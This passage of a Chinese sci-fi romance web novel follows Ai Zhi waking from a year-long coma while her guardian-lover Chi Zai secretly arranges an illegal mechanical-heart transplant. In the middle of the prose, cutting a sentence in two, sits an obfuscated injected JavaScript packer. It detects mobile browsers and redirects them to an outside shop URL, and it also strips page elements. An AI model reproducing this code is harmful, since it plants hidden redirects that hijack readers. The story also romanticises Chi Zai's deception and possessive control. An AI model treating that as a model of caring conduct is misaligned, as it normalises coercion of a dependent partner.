白光刺得她想流泪，想上手去挡，却发现自己的胳膊好像被固定住了，指尖也被什么东西夹住。 艾知大脑一片空白，内心十分慌张。 她明明是在一家海洋餐厅吃饭，等着小识哥哥的朋友回来，她不懂自己为什么会被束缚在这里，为什么会浑身酸痛且动弹不得。 “痛……” “啊！小爱小姐！小爱小姐你醒了！” 小伽发现艾知的指尖动了两下，口中吐出一个音节，虽然听得不太清楚，但好在她终于从植物人的状态苏醒过来。 听到熟悉的声音，艾知更想睁开眼睛，问小伽自己为什么会这样，躯体比大脑意识反应更加迅速，一滴泪从艾知的眼角滑过。 “小爱小姐不哭啊，你能醒过来太好了。” 为什么说我能醒过来太好了，艾知不解，她更加不理解的是自己为什么会流泪。于是她顶着刺痛她眼睛的白光，努力睁开双眼。 这里是她和迟载的新家没错，但她并不在自己熟悉的卧室，看布局，像是迟载的房间，围着她的都是一群她不认识的机器。 小伽的电子眼泪如雨下，声音也嘶哑了：“小爱小姐，我可太想你了。这一年来，我就怕你醒不过来，好在你终于醒过来了。公子知道一定开心死了。” 什么？一年？她睡了整整一年？ 开什么玩笑。她昨天不还跟迟载过自己的18岁生日吗？怎么就一年了？ “为……为什么……”长久的昏睡导致艾知的语言系统有些倒退，说话也有气无力的。 “小爱小姐你先睁着眼睛，等我会儿啊，我给公子报告喜讯，你可千万别再睡了啊。我很快就好，我马上就跟你说你怎么了。” 小伽生怕艾知一闭眼又昏死过去，所以他开启了义眼模式，一边检查艾知的身体各项指标，一边盯着艾知，不让她闭眼睛。 艾知在静默中听完了小伽带着哭腔的伤感叙述。 原来自己在18岁生日那天之后昏睡了一整年，而她在昏睡中度过了她19岁的生日。 迟载重金求来的特效药的确可以减缓她身体的加速衰老，但是药三分毒，特效药尽管能够稳定细胞的代谢速度，但是毒素也就积累起来。 心脏抽痛，呼吸紊乱，胃痉挛这些都是特效药的副作用，同时其中还含有一定的麻痹作用，服用过量会导致人体休克。 艾知的昏迷也是因为这个原因造成的。 “所以我是真的不适合生活在这里啊。” 她终于知道迟载给她的“胶囊”并不是什么安神药，而是自己在这里留存的续命药。 “也许我的存在就是个错误。” 艾知苦笑，耳畔检测她心率和脉搏跳动的机器运作的声响显得格外讽刺。 “错不在你。” 迟载不知何时出现在门口，听见他的声音，万千情绪都涌上心头，面对这个对自己有恩，又让自己性命陷入危难关头的人，艾知不知道该以什么样的情绪迎接他。 艾知看了眼天花板，叹了一口气，没有搭话，现在她多说一句都会倍感疲惫。 还在首辅宫开会的迟载收到昏迷了一年的爱人苏醒的消息，慌张地叫副组长替他主持会议，自己则是立刻丢下全组人员赶了回去。 因为太过紧张，驾驶舰船的手一直在抖，差点出了空中交通事故。加速好几个马迈，才刚刚赶到。 结果一回来就听到爱人后悔来到未来的言语。 “你是我最珍贵的宝贝，怎么会是错误呢？”迟载快步上前，半膝跪地，将艾知的手包在掌心间。女孩的手很凉，但没关系，他可以捂热。 “我从没有觉得你不该存在在这里，小爱，你不知道你对我来说有多重要。” 对男人的情话没有一丝动摇是假，正值青春的妙龄少女怎么可能不会对那样一张俊美绝伦的脸动心呢。 何况迟载的温柔又如春风般浸润到骨子里的，他对她的好就像是年少时就在她心中埋下的蛊，到了花开时节，她不自觉地就会对他春心萌动。 “可是我的身体不适合呆在这里。”艾知也想久久生活在这里，可是身边运转检测的机器就是在提醒她，她不该来到这里。 艾知很难过，但是她必须要面对这个事实： “药没有办法维系我太久的生命，也许再过几年我就会死的。” 她嗅着迟载身上的鸢尾花香，心里面发酵的悲伤缓解了许多，她在这里已经消磨了太多迟载的精力，她不想成为迟载的拖累，“可能我回到属于我的世界才是正确的选择。” 迟载是第二区首辅大臣的亲子，将来也是要参加竞选的。她怎么能留在这儿，成为他的污点呢。迟载本该实现他的理想抱负，不应为了她是否还能存活而忧心。她主动离开也许对他们两个人来说，才是最好的选择。 爱人从昏迷中苏醒的喜悦抵不过爱人闹着要离开的愤怒，迟载最听不得艾知要离开的话。 尽管眸底已经结霜，他还在尽力克制情绪，让自己的冷脸看上去不那么有距离感。 “我说过，我不会让你离开的。小爱，相信我，我有办法让你长命百岁，永远陪在我身边。” 小伽还在低头整理数据，跟平常一样当空气，但还是被迟载驱逐出房间。 等房间只剩下两人，迟载伸手掀开了艾知的被子，然后在艾知惊恐的注视下要解开她衣服胸前的系带。 “小识哥哥你干什么？！” 艾知想伸手去挡，但是长期卧躺导致肌肉开始萎缩，她很难抬起胳膊组织迟载的“逾矩”行为。只能眼睁睁地看迟载动手。 “你已经醒了，就不需要这些仪器检测仪了。你身上的这些贴片需要去掉。” 迟载一本正经，正人君子的模样像极了例行检查的医生。 害羞和惊慌让艾知彻底忘记刚才想到要离开而升起的浓烈的悲伤。 “那、那让小伽来就可以，不用你来的。” 艾知还在抗拒，因为紧张，她的手指竟然比刚才灵活许多，但是胳膊仍旧酸痛到抬不起来。 迟载望着女孩粉嫩的脸庞，嗤笑一声：“你睡在我房间，你说这一年你的梳洗和护理是谁做的呢？” 男人俨然一副“老夫老妻还害羞个什么劲”的道貌岸然的样子，臊的艾知也不伤感了，恨不得立刻就离开。 虽对男人的话震惊到无法接受，但受制于人，她也无可奈何，索性闭上眼睛，咬着牙，绷着身子，一副“英勇就义 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等贴片都被撤下，迟载又仔仔细细将衣服系好，坐在床边为艾知捏腿。 力道不大，但显然是有学过的，艾知觉得酸酸麻麻的，很舒服。想必，在她昏迷的这一年内，迟载做过不少这样的事。 想到这儿，艾知心下一软，两人就沉默着，也不说话。 最后还是迟载先开的口：“小爱，我想先向你道歉。因为我，你遭受了很多折磨。” “在你第一次昏迷的时候，我就后悔了。我在想把你带来这儿，是不是做错了。我没有太多想法，只是想给你幸福，想给你一个家而已。” “但我不想你受伤。我宁可替你承受痛苦，也不愿看见你皱一下眉。” “我承认我存了一份私心，这份私心让我变得丑陋，我想要你不光把我看作你的哥哥，你的家人，还贪心地想要更多。” “我想做你的恋人，因为恋人也是家人。” 迟载看了一眼艾知，停顿了一下：“宝贝，你也爱着我，舍不得离开我，对吗？” 被戳中心事的女孩，泪水已模糊了视线，迟载上前俯身将艾知抱入怀中，轻抚她的脸颊，擦去她溢出的泪，语气轻柔。 “你昏迷的这段时日里，我挣扎许久，到底是放开你，还是抓住你。” 男人感受到女孩身体的僵硬，又将她抱得更紧了些。 一个安抚性质的吻落在少女的唇上。 迟载说：“我对你的爱恐怕没有办法叫我放开你，我试过一天不见你，但是最后还是失败了。我根本无法忍受没有你的日子，也不敢想象你一个人离了我该如何在生活极为不便的世界生存。” 迟载又说：“所以我找林赛想了一个办法，既可以让你留在这里，又不会对你的生命有任何损耗，更不需要吃特效药。” 鸢尾花的香气愈益香浓，艾知贪恋地汲取更多，心中不知如何面对未来的焦虑和悲伤被大大稀释，而耳畔传来迟载低柔，极具磁性的声音。 “小爱，我们换机械心脏。” “换了心脏，你的身体就没有了威胁。你会成为新新人类，那样就可以永远留在贝器时代，和我在一起。” “我们要做永世的恋人。” 19. 第 19 章 在长达一年多的昏迷后，艾知还不是很能适应已经僵硬的四肢。每天都需要大量的按摩和走路练习。 她就像刚学会走路的孩子，被迟载护在怀中，扶着她的手腕，让她上半身全部搭在自己身上借力往前踏步。 脚腕始终搭不上劲，沉得如同灌满了铅，每走一步，艾知都要喘上一口气，忍耐腿部的酸麻。 练习了一会后，腿更酸更痛了，连胳膊都使不上力。 练习无效，艾知又委屈又累，就想摆烂了。 迟载察觉到了艾知情绪的低落，稍稍松开女孩的胳膊，手环到女孩纤薄的背部，以半屈伸的状态，另只胳膊伸到艾知的腿弯处，在艾知还没反应过来时，就将她横抱在怀。 “累了的话，咱们就不走路了，以后我一直抱着你也不是不能行。” 虽然男人的怀抱很有安全感，身上的花香又让她身心变得舒适放松。 但艾知个人还是比较理智的。 她想象了一下将来一直赖在迟载怀里，出行全要靠人抱的画面，觉得十分不实际。 要是她的身体一直是健康的就好了，她现在也不用这么难受，也能让迟载轻松一些。 艾知心情依旧没有变好，她没说话，把头埋在迟载的脖颈处，像小猫似的蹭了一蹭。 迟载带艾知去花园晒太阳，慢慢悠悠地说道：“知道我一直可惜什么吗？” 怀中的女孩有了点动静。 “可惜没能见到你幼年的时候。不过，现在教你重新学走路也不错。” 艾知呆愣住，刚张口想说什么，又被迟载的话堵了回去。 “我想体验跟你在一起的无数件事情，包括走路，吃饭，休息这种小事。” 紫外线和红外线被封顶的玻璃阻挡住，柔和不刺眼的日光洒下来，留下两人相拥在一起的影子。 艾知说道：“放我下来吧，我想再试试。” 迟载将艾知放下，手继续搀着她：“放轻松，慢慢来，有我扶着你。” 半个月过去，艾知的行动跟从前没什么区别了，唯一受到限制的事就是跑步。 至于什么原因，小伽告诉自己，她的心脏现阶段还承受不了剧烈运动。 “小识哥哥说我换了机械心脏后就能跟贝器时代的普通人一样正常生活了。小伽，是这样的，没错吧？” 艾知生活的年代给心脏搭桥或者做支架就已经是风险系数很高的手术。直接将一整个心脏替换成机械心脏，这对艾知来讲还是太超前，但是替换了心脏后，她还是她吗？ “我会成为机器人吗？” 类似这样的问题，艾知问过好多次，小伽总是找借口回避，艾知没有为难小伽，她知道，小伽不愿说一定受到了迟载的警告。 倒不如直接去问迟载。 迟载好像在跟什么人视频通话，艾知隐约只见到通话那人的背影，见艾知过来，迟载立即将通讯切断。 “小识哥哥我打扰到你了吗？” 艾知并未注意到迟载的手有些微微发颤，但迟载掩饰的很好，并未叫艾知发现异常。 “没有，其他都没有你重要。怎么了？怎么这个时候来找我？小伽没有陪你吗？” 在政务小组工作了一段时间后，管理战略部缺人，迟载又回了部门，紧接着就接任了部长的职位，带领整个部门取得非常不错的政绩。继而升职，被调去联合区署，负责各区信息联络与第二区安全战略部署。 身上的职称越来越高，需要处理的大小事宜就越来越多，有时候都来不及赶去首辅宫，直接在家中书房一个会议接连一个会议地开。 艾知现在离不开人照顾，小伽就肩负起迟载不在时照顾艾知的责任。 多晒太阳对吸收钙质有益，小伽每天就带艾知到花园逛逛。 怕花园艾知逛腻了，迟载又给建造了一个温室，在里面培育了各式各样的小型绿植和花卉，专门供艾知无聊打发时间。 艾知摇摇头：“是我自己要来找你的，我有事情想问你。” “哦？有事情想和我说？” 像是半大的孩子有模有样同大人商量自己理解的“大事”一般，迟载莫名觉得有点好笑，但还是决定耐心听艾知的后半句，看究竟是什么了不得的大事。 “换了心脏之后，我还是人类吗？” 迟载这一次没有搪塞，思考了一秒后，很快给出回应： “当然，就跟穿戴义肢，安装假眼一样。我们现代社会也有很多人安装机械假肢。小爱，我们只是换个心脏，这不是一件大事。” 艾知原先见小伽面对这个话题欲言又止，很为难的样子半信半疑，但今天看到迟载这般有把握，像是在说一件平常事一样，艾知又将心中的疑虑打消，觉得换个心脏也不是什么大事。 但事实恰恰与艾知所想的相反，换机械心脏是贝器时代写在法律条文上明令禁止的事情。 因为一旦更换机械心脏，则代表病患的年龄将会永远定格在替换心脏的那一年，非外界暴力摧毁，则可永生。 古往今来，想要永葆青春，长生不老的人大有人在，无数人对于“永生”趋之若鹜。一百年前就有不少权贵买通掌握医疗核心技术的科技人员为自己替换机械心脏，成为新新人类。反对者，也叫原生人类，连同无权无势的平民一起抗议，爆发了一场有关永生的流血伦理道德政权之变。 后来为了平息战乱和百姓的怒火，当时的皇主站出来，颁布替换机械心脏的禁令，下令只有对全人类作出巨大贡献者才可获取替换机械心脏的权利。 历史上也只有一位伟人接受了机械心脏的替换，但是最后因为爱人、家人相继离职，自己最终患上抑郁，自行走向自我销毁的道路。 因此明面上一直禁止替换机械心脏。 替换机械心脏的价格十分高昂，并非普通权贵可以承担得起，但还是有不少人垂涎欲滴。 原先迟载并未想到这一个办法，当时艾知深陷昏迷，成为假死人的时候，林赛将迟载求药的那位医师带了过来。 医师叫阿琪洛 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为什么上天要这样对他？他终于能跟艾知相爱，却叫他与她就此分离，他绝对不能接受这样的结果。 “特效药的毒素未清除，她就醒不过来，现在这个情况只能靠她的自我代谢，将毒素解了。但好在服药的量并不是很多，醒来不是难事。” 若不是阿琪洛承诺了日后等艾知醒来，会帮助迟载替换心脏，否则听完这句话迟载真的会杀了他。 迟载苦等一年，终于等来了艾知苏醒，换心脏这事刻不容缓，迟载不允许任何人阻拦这件事，包括艾知她自己。 他像往常那样将艾知抱到怀里，让她坐在他腿上，骗她道：“宝贝，换了心脏之后，你就能跟正常人一样同我永远生活在这里了。那个时候，你就可以光明正大地站在我身边，我会向全世界介绍你——我的爱人。” 面对迟载，艾知从不生疑，相反她异常信任眼前的这个男人。嗅着迟载身上熟悉的香，困意渐渐升起，艾知打了一个哈欠，头一歪，额头抵在迟载脖颈处就睡着了。 迟载理了理艾知垂下来的发丝，像哄孩子安睡似的轻轻拍了拍艾知的背，然后才把刚才丢在一边的平板仪拿了过来，将阿琪洛发来的艾知血液亲缘检测报告删除。 随后他给在温室侍弄花卉的小伽发出指令—— 给艾知收拾东西，我们明天就去第三区。 消息发完，迟载低眉想了片刻，给父亲发去简讯：“父亲，据线人来报第三区最近在军火和医疗上有了一些新研究，联合区属的工作已安排妥当，我自愿申请前往第三区进行探查。” 迟恩很快回了消息：“批准。” 过了两秒，迟恩又传来简讯：“出行人手打算带几个？” 迟载面无表情：“加上我三个人。” “可以，人少点更加隐蔽，注意安全。” 可不得谨慎隐蔽点嘛，换机械心脏这事越少人知道越好，迟载脸不红心不跳地向自己的父亲撒了一个弥天大谎。 20. 第 20 章 艾知这一觉睡得很熟，醒来时发现自己已经被系好安全带，仰躺在舰船的座椅上了。 “醒了？渴了吗？”迟载放下平板仪，摸了摸艾知的脸颊，“小伽在驾驶舱，有什么事喊我帮你就可以。” 艾知摇头，她看了眼窗外，问：“我们到哪里了呀？” “快到第二区边界线了，等过了边界线，我们就到第一区了。” 迟载从随身恒温箱中端出一杯温水，仍旧递到艾知面前：“乖，这么长时间你都没喝水，你的身体需要补充水分的。” 尽管艾知不渴，但在迟载关切的注视下还是硬着头皮喝完了整整一杯。从昏迷中苏醒后，她的胃缩得很小，只能勉强吃一些流食，刚刚一大杯水下肚，就有点撑了。 艾知的胃还是有些难受，但她知道迟载也是想让她多补充一点水分，没有恶意，所以努力找其他话题转移注意力，压抑自己想吐的难受感。 “为什么我们不直接从第二区进入第三区呢？” 迟载教过艾知当代地图，她记得第二区和第三区中间仅仅只是一道海峡，为什么要舍近求远，先去东边的第一区，再去第三区呢？ 迟载很满意艾知的乖乖听话，收走空水杯后，给艾知解释。 “虽然第一区靠近皇区，但早已没有实权，从某种意义上来说，第一区是其他各大区前往皇区的停靠站。第一区人口复杂，皇区和其他各区的人都有，我们先去第一区再进入第三区，不会太过打眼。” 艾知若有所思地点了点头，扭向窗外想看外边的风景。 舰船飞行时速高达好几百马迈，从窗外看不清什么景色，无聊的很，艾知又将头扭了回来，从迟载手里拿来平板仪。把迟载刚刚看的什么时事新闻全都给叉掉，玩起了她自己下载的“星际方块组拼”，但玩了一会后又觉得没意思，开始刷起全区短视频。 刷着刷着就看到个蛮有意思的虚拟歌唱偶像正在开直播，歌唱得不错，也会跳舞，脸也长得帅，还能讲笑话，艾知不知不觉就看入迷了，也跟其他粉丝一样给这个虚拟偶像点赞，刷礼物。 短视频的账号是小伽之前怕艾知太无聊偷偷给她申的。她有事没事就跟小伽两个人拿平板仪刷视频。 结果一人一机刷视频刷得正起劲，就被迟载抓包了。 迟载本担心艾知的视力，不让她玩这些的，但是看艾知对平板仪望眼欲穿的样子可怜巴巴的，迟载又心疼。 心想她当初什么都没有就跟自己过来了，小的时候也没有玩伴，不是学习就是看书，一点乐趣都没有，现在好不容易有点开心的打发时间的“玩具”，他怎么能忍心剥夺艾知这一点小小的喜欢呢？ 于是迟载一心疼，大手一挥，给艾知的账号充了一笔巨款，让她喜欢什么就买什么。 艾知在贝器时代生活了四年，出门的次数屈指可数，就算买东西都是迟载付钱，或是迟载直接买好由机器快递员送货上门，小伽签收。 所以艾知对这里的钱没有任何概念。 更何况迟载说过，他给她的钱用在短视频上就算花一辈子也花不完。 虚拟偶像歌唱得起劲，腰扭得起劲，艾知刷礼物打赏得也起劲，直接一跃成为直播间打赏一姐。虚拟偶像心里美的恨不得把腰给扭成麻花，直接向艾知这个“直播间一姐”大胆示爱。 除去18岁生日同林赛见过一次面，说了两句话，艾知就没再接触过这个时代的其他人了。今天头一次被一个声音很温柔，长得也帅，唱歌也好听的虚拟偶像追着说话，艾知有些飘飘然，全然不知旁边人的脸越来越臭，于是下一秒，平板仪直接被没收了。 “干嘛呀！我无聊嘛。人家都答应下一首给我唱歌了，只给我一个人唱的！” 艾知身上系着安全带，她着急解扣要抢回平板仪，根本没有在意迟载的脸色很不好。 还给你一个人唱，我看他是不想干了。 迟载冷哼一声，心中记下这个勾引艾知的虚拟偶像的名字，打算等一落地，就让这个虚拟偶像彻底消失。 “他唱歌真有那么好听，是吗？” 迟载的尾音拖得很长，语气不是太好，艾知心想大事不妙。 她怎么能一上头，就忘记旁边坐着的是自己的正牌男朋友呢？她怎么可以当着自己男朋友的面夸别的男人帅，别的男人唱歌好听呢？虽然是个虚拟人，但也是个人啊。 “没……没那么好听……” 艾知敏锐地察觉到现下自己有点危险，故而有点想逃，但是为时已晚，安全带已经自动给艾知绑上，然后座椅乖乖地把艾知运送到迟载面前。 迟载心底的躁气并未因艾知的及时改口而消下去，他眯起那双下三白的黑眼，眼底划过一道幽暗的光，从喉中发出的声音微哑低沉：“真那么喜欢？” “不喜欢！”艾知被抵在迟载面前，身子被束，只得卖乖，“小识哥哥你最帅了，我最喜欢你了。除了你我其他人都不喜欢。” 迟载的情绪只被安抚到了一点，他实在不喜欢从艾知的口中听到其他男人的存在，哪怕是个虚拟人都不行。 他将艾知重新养大，艾知只能仰望他，心里只能爱着他。 那双冷色的眼睛充满侵占欲，艾知的下巴被男人钳住。 “小爱，我爱你，你是我的爱人，你的眼里只可以有我。” 被迫仰望着那双只盛的下自己身影的黑眸，艾知有一瞬间觉得眼前的这个男人很陌生，他散发的气息像小时候在电视上看过的黑曼巴，感觉下一秒就要露出獠牙释放毒液。 迟载从来都没有这样凶，艾知心中的委屈开始蔓延，她不喜欢这个样子的迟载，也不喜欢迟载这样对她。 艾知的双眸开始湿漉漉的，本就像小狗眼的下垂眼睛带着水汽，显得格外可怜委屈。迟载意识到自己吃醋无意漏出的真面目吓到了艾知，慌忙解开艾知身上的安全带，将她搂入怀中，轻声哄着。 “宝贝对不起，我吓到你了。我是因为太在意你了，所以有一点生气。对不起，我不该凶你。” “呜……你不要这个样子，你好吓人，我不喜欢。你不许凶我。” 温柔 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回部门开会，撞上肖十八这个冒失鬼，不小心碰到了喷瓶，香味渗进了迟载的衣物，惹得肖十八说自己喷香水。迟载着急回家看艾知，懒得多口舌，就承认了。 回家后意外发现，艾知闻了这味道状态的确好了很多，比往常更爱黏着自己。 有这好事，迟载岂有不用的道理，原本是拿给艾知当安抚剂的，迟载全喷在自己身上，恨不得给自己腌入味，好给艾知当人体安抚抱枕。 后来小伽研究过这个安抚剂，发现是纯植物提取的，里面含了大量的鸢尾花，又放了柏木，佛手柑和白芷。 在植物极其珍贵的贝器时代，小伽还意外发现阿琪洛居然还在里面放了大量极为罕见，重金都难求一株的植物——芥英草。 芥英草有驱寒解暑，缓解神经疼痛，止血等奇效，在贝器时代又被誉为“珍宝草”。芥英草长在极寒地区，数量极为稀少，两百年记录下遇见的只有几株，且只在拥有雪域的第五区生长，无数人为一株芥英草而殒命冰寒雪原。 芥英草本无味，和鸢尾花在一起，能放大鸢尾花安神镇定的效果。 迟载对于阿琪洛的大方颇为震惊，甚至不解，本想用重金再次答谢，却被阿琪洛拒绝了。 理由至今未知。 只要艾知没有生命威胁，花多大代价都值得。 迟载坐在熟睡的艾知身边，痴迷地看着这个跟他一起生活了快五年的女孩，他决定等艾知二十岁生日那一天与她举行盛大的婚礼。 只有与她履行婚姻的契约，他才觉得艾知真正属于自己。 舰船机体忽然颠簸，没绑安全带的迟载差点没坐稳，他下意识看了眼艾知，艾知还在睡，丝毫没有受到影响。 他赶去驾驶舱，见到了手忙脚乱，正在推扰流板的小伽。 迟载没有责怪小伽，因为他在引擎显示屏上看到了四周向他们靠近的不明飞行舰船。 他们这是遇到空中盗匪了？ 21. 第 21 章 “公子放心，我应该能甩开他们。” 迟载新购置的这台舰船机身较小，专门做了智能隐形涂层，又在内部配备了隐形设备和传感器，能够有效避开雷达信号监测。 且隐身功能迟载监测过，除非是小伽没按隐身按钮，一般是不会被发现的。 小伽还在推油门杆，试图通过提速甩开向他们靠近的不明飞行舰船。 迟载盯着另一侧的显示屏，观察了几秒，忽然开口：“他们不是冲我们过来的。” 啊？不是找我们麻烦的？小伽心中顿时安心，仍旧处在紧绷不敢松懈的状态。 他们此次出行并未携带武装机甲，尽管这台舰船也能发动攻击，但寡不敌众，还是很容易落下风。 “他们看上去像是在找对方的麻烦。”迟载还在说着，下一秒他迅速握住操作杆，整体机身向下俯冲。 迟载预测的不错，就在他们向下俯冲时，向他们围绕而来的两方舰船开始互朝对方发动攻击。 舰船受到波及，机身开始在下滑时产生剧烈抖动，迟载勉强抓住安全杆才撑住没滑倒。 “这样下去不行，双方交战，必定你死我活，我们一定会受到波及，先下降找地点停靠吧。” 艾知在剧烈抖动中惊醒，不见迟载，惊恐和无助之下想要解开身上的安全带去找迟载。 迟载像是预料到艾知会来找自己一般，在艾知刚刚解开安全带时及时出现在舱口。 “别怕，我在这里。”话音未落，安全带又自动将艾知绑好，迟载则自己慢慢走到艾知身边半膝蹲下，手握住艾知冰冷纤细的手。 “这是怎么了？我们会死吗？” 艾知的眼泪又要涌上来，不知怎么了，原本不是那么想哭的，一看到迟载，她的鼻子和眼睛就控制不住地发酸。 “刚刚受了一阵强风波的影响，机身有抖动很正常。别怕，我们都会平安无事的。”迟载抹掉艾知脸上挂的泪珠，没告诉艾知外面发生的动乱。 “我一醒来你就不见了，周围又那么抖，我好害怕出事故啊。” 尽管迟载的话安慰到了艾知，但心里一睁眼就看不见迟载的委屈还是让艾知的眼角红成一片。 “有我呢，有我在我不会让你出事的。” 那年的极端风暴给艾知带来的阴影还是没有彻底消除，她变得更加黏迟载，胆子也变小了。 迟载自私地扭转了女孩原本的性格，蓄意将艾知养得娇气，给艾知创造了一个只有自己的安全世界。 他要做艾知心中的避风港，也是唯一的保护伞。 看着蜷缩在怀中汲取安全杆的艾知，迟载心中毫无歉意，反而自得。 为防殃及池鱼，小伽找到了停靠点，舰船被迫降落在第一区和第三区交界的一个小城邦内。 迟载牵着艾知下了舰船，小伽则留在舰船上，等休整一番再前往与阿琪洛汇合的目的地——第三区的第三大城市，庞陇城。 走之前，迟载给阿琪洛发去消息，说明情况，可能会比预期时间晚几天再到达，并问他知不知道第三区有无异乱。 很可惜，常年居住在第三区的阿琪洛竟然也不知道为何在第一区和第三区交界处会爆发小范围的战争。 “可能是城邦之间的斗争吧。你也知道这世道说太平，其实也非如此。大小城邦之间为了争夺利益，战争还是必不可免的。就算是各区首辅想管，这信息来的不及时，还未接收到，两方就熄火了，这管也是管不了啊。” 各区之间竞争其实较为明显，五大区中二、三、四区最为富有。第二区矿藏最为丰富，又蕴含掌管全球命脉的核能源，第三区以医疗行业领先于其他几区，第四区重工业最为发达，而第五区重视轻工业，但地处北方偏远雪域，与世无争。 尽管各区在皇区皇主的见证下签署了不主动发起战争条约，但是各区之下各个城邦之间的争斗在所难免。 心思缜密的迟载并未将这起事件看作是简单的城邦斗争，毕竟事发在两区的交界处，所以他又将今日之事以秘密传送的方式递送到已升职为联合区属安全理事副部长林赛处，叫他细查斗争所发之势。 【可以啊，还能想得起正事。我以为你已经玩忽职守，只想着跟小女友双宿双飞了呢。】 艾知还在挑选东西，迟载看到林赛发来的简讯，面无表情，打了几个字回了过去—— 【我以上级之命要求你速查。】 “啧，还拽起官腔来了。”林赛跷着二郎腿，冲着对面迟载的办公室翻了个白眼。 “赛哥，中午吃啥？食堂还是出去搓一顿？”肖赫星径直开了门大摇大摆走进来。 “肖赫星你再学不会敲门，我就把你屁股踹成两瓣。” 前一个给自己耍官威，后一个对自己没大没小，林赛没好气地放下通讯仪。 “哎呀，人家屁股本来就是两瓣呀。”肖十八一屁股坐在林赛的办公桌上，拿着他的印章玩，“你说迟哥请假怎么请那么长呀，一个从小到大从不请假的人，这次居然把他这辈子的假全都给请了。” 艾知的事迟载跟林赛十分默契地没告诉肖赫星，肖赫星哪儿都好，就是管不住嘴。保险起见，还是不让他知道为妙。 林赛罕见地没搭话，瞅了眼时间，说道：“中午还是吃食堂吧，我想吃糖醋排骨了。” 这一边，艾知被具有明显异国情调的小城邦吸引了目光，拉着迟载在大街小巷到处逛。 小伽调查了一下，他们降落的这座城邦是第三区的边界城邦——喀斯。 喀斯原属于第一区的城邦，但在一百年前划分给了第三区，所以来往人口十分复杂，属于各域文化相互碰撞的地带。所以在这里能见到很多不同于第二区的东西。 这里跟第二区的小城邦比，显然要落后许多。但给了艾知一种熟悉的感觉。 “小识哥哥，这里让我想到了我家。小时候奶奶带我赶市集，也是这么多人，这么多东西摆在地上，任大家挑选。”艾知很高兴，眼睛亮晶晶的，目光总是被新鲜的小玩意儿吸引，拿着这个摸一摸，看见别的了又会放下，跑去别的摊子。 迟载怕人来人往的，艾知走丢，于是紧紧牵着她的手，让小伽赶紧赶过来结账。 艾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16430642|184359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知看商品，迟载看艾知，两人手拉着手边走边逛，远远看上去就像新婚不久的小夫妻在市集上采买新房的物件。 “来来来，看看我们家的东西。这套音乐盒不仅能放普通音乐，在睡前还能根据情绪播放不一样的音乐哦。对促进新婚的小夫妻的感情十分有益。”见艾知看过来，隔壁摊摊主立刻宣传起来自家的东西。 艾知和迟载的穿着打扮，非富即贵。迟载又十分热衷给艾知打扮，即使艾知不出门，她每日的装扮跟迟载都是配套的，就算是不配套，也一定得是同一色系。 “什么不一样的音乐？”艾知没听懂话外之音，刚想细问就被迟载拉到另一边去了。 迟载自然懂是什么音乐，仍旧面不红心不跳地问摊主：“我买了，待会我的机器用人会来结账。” “诶好，祝您和夫人百年好合，早生贵子啊。”摊主喜洋洋的，朝两人的背影挥了挥手。 “刚刚那个老板说什么音乐啊？你为什么不让我继续问？”艾知仰头道。 迟载对艾知没纠结摊主错认两人是夫妻很是满意，心中不免起了戏弄之心，他低头附耳坏笑道：“真要我说？” 艾知点头，有点不满迟载的吞吞吐吐。 “说了可别生气。”在得到艾知的保证后，迟载不紧不慢，用仅能两人听得见的声音说道，“他说的那种是可以勾起男女情愫和欲望的音乐。” 艾知的耳朵噌的一下变红，迟载吐出的气息就像是火焰一点一点地在灼烧她的耳朵。艾知对于男女之事的了解仅仅停留表面，如今被迟载这样明目张胆地说出来，她显然无力招架。 “你变态！耍流氓！” 艾知气的不想理迟载，想挣脱迟载的手却怎么也挣不开。 “冤枉啊，不是你叫我说的吗？而且你答应我的，不生气的。”迟载刮了一下艾知的鼻子，“怎么那么爱生气呢？我错了，好不好？” 冷静下来的艾知仔细想了一下，迟载好像也没错，是自己强要他说的，但是他怎么能直接买下呢？他们也不是夫妻啊！ “可是你干嘛要买那个音乐盒，你明明知道那个……那个……”艾知说不下去了。迟载玩味地看着她，觉得艾知的反应非常可爱。 以前他会有些着急，期盼着艾知快些长大，有欲望会自行纾解。后来艾知生病，陷入昏迷，他想的更多的是艾知怎样才能够活下来。 在被林赛知道两人关系之时，林赛就像审犯人似的问过自己这个问题。当时他的回答是：不，他会等到艾知同意的那天。 他爱艾知，他会尊重艾知，所以在艾知20岁成年之前，他都不会对她有任何非分之想。 但他与艾知迟早要跨越这一道关卡，艾知也必须要面对这个话题，于是迟载恶从心中起，借逗她之势逼艾知一把：“那个什么？” “没有什么。”艾知不想回答了，她的性格就是这样，越是逼迫她，她越是不想回答，甚至想逃避。 “我们去别处看看吧。” 没能得到想要的答案，迟载并没有恼怒，他愿意纵容艾知的小性子，因为她迟早都是自己的。 22. 第 22 章 喀斯城很小，艾知和迟载不一会就从城邦东边逛到了西边。越靠近西边，喀斯城的街道越萧瑟，甚至出现了沿街乞讨的难民。 看着坐在街边，穿着破烂衣衫，面容枯槁的难民，艾知心里有些不好受。她小的时候跟奶奶去市集，也经常看到街边乞讨的乞丐，奶奶会一边念叨着“都是可怜人”，一边从荷包里掏出几块钱硬币或是五块钱纸币放在乞讨者的碗里。 迟载与艾知手牵手，步伐迈得很大，目光并不曾移向旁边两侧，好几次艾知几欲张口，但又放弃了。 一个衣衫褴褛的妇人远远地就看到了向两侧频频看去的艾知，下了决心，还是上前拦住了二人前行的路。 “好心的小姐，给点东西吃吧，孩子已经饿的不行了。我们是从西边过来的难民。因为战乱，我们的家没有了。” 女人说着，上手拽住了艾知的衣裙。 余光瞥向女人那双抹在艾知干净的衣服上的手，迟载那双黑色的眸子变得十分幽暗，碍于艾知还在，洁癖上身的他并没有立刻发作。 注意到迟载的眼神，女人嗅到了几丝危险，暮地松手，眼神躲闪，刚想放弃，但蜷缩在墙角盖着破布的孩子的呻吟让她决定再试一次。 “小姐求求你救救我们，我的孩子已经好几天没吃饭了，再这样下去，我孩子活不长了。” 